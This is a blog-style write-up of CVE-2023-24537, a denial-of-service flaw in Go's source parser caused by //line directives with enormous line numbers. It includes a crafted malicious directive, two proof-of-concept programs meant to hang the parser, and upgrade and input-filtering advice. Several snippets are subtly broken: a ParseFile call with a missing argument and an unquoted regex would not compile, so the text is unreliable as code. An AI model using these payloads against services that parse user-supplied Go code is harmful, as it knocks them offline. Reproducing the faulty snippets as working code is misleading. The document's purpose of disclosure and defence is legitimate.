CVE-2023-24537 - Exploiting Go’s Parse Functions Infinite Loop Vulnerability
CVE-2023-24537 is a security vulnerability found in Go’s standard library. If you parse Go source code with specially crafted //line directives containing extremely large line numbers, the Go parser’s functions can be forced into an infinite loop. This happens due to an integer overflow mishandling. Attackers can exploit this to cause a Denial of Service (DoS) in services that process user-supplied Go code, like static analyzers, online IDEs, and CI services.
Go source files let you use special comments called //line directives. They typically look like
//line filename:1234
Such directives help tools map generated code back to its original source file and line. The problem arises when these line numbers are intentionally set to extremely high values—such that they cause integer overflows inside the parser.
The vulnerable Parse functions live in Go’s go/parser package, also used indirectly by other packages like go/format and go/types.
Here’s a minimal Go source with a maliciously large //line directive
package main
//line evil.go:999999999999999999999999999999999999999
func main() {
println("hello")
}
If you parse this with Go’s parser, it enters an infinite loop due to how it tracks source positions. The code below can trigger this:
package main
import (
"go/parser"
"go/token"
"strings"
)
func main() {
src := `package main
//line evil.go:999999999999999999999999999999999999999
func main() {
println("hello")
}
`
fset := token.NewFileSet()
_, err := parser.ParseFile(fset, "", strings.NewReader(src), )
if err != nil {
println("error:", err.Error())
}
// Program hangs here!
}
Result: The Go process hangs, consuming CPU (potentially forever) — a clear DoS situation.
Impact
Any Go-based tool that calls parser.ParseFile(), parser.ParseExpr(), etc., on user-supplied code is vulnerable. This includes:
IDE plugins
- Build/test and linting tools
API services that accept Go code
Attackers can hang these services—sometimes instantly just by uploading or emailing crafted code.
Official References
- Go Security Advisory
- Go Issue Tracker: #59078
- NVD Entry for CVE-2023-24537
- Go 1.20.4 and 1.19.9 release notes
How Does the Exploit Work?
The core of the issue is in how Go’s parser converts huge numbers to positions in the file. When the //line directive is parsed, the internal line position is set to an *incorrect value*, breaking the parser’s tracking—the math overflows, and any code that depends on sane line numbers is caught in logic that never breaks out.
Attackers simply supply a directive like
//line x.go:999999999999999999999999999999999999999
Go’s parser cannot recover, and code never finishes parsing.
Here’s how you can demonstrate this with a simple Go program
package main
import (
"go/parser"
"go/token"
)
func main() {
code := `package main
//line foo.go:999999999999999999999999999999999999999
func main() {}
`
fset := token.NewFileSet()
_, err := parser.ParseFile(fset, "", code, parser.AllErrors)
if err != nil {
println("Parse error:", err.Error())
}
// Will not reach this line; program hangs infinitely
}
Warning: Running this will hang your Go process!
Mitigation
Upgrade Go to the latest version. Fixes were issued in Go 1.20.4 and 1.19.9. Any earlier version is vulnerable.
- If you use Go modules, update your toolchain
go version
# Should print at least go1.20.4 or go1.19.9
If you cannot patch immediately:
Filter user input and search for //line directives with large numbers before calling parse functions. Set a reasonable upper bound (for example: 99999).
A naive filter
import "regexp"
var directive = regexp.MustCompile(//line\s+\S+:(\d+))
Conclusion
CVE-2023-24537 highlights why it’s so important to validate and limit user-supplied input when using developer tools, as seemingly innocuous features like //line can become attack vectors.
References
- Original Go Advisory
- CVE in NVD
Timeline
Published on: 04/06/2023 16:15:00 UTC
Last modified on: 04/13/2023 19:09:00 UTC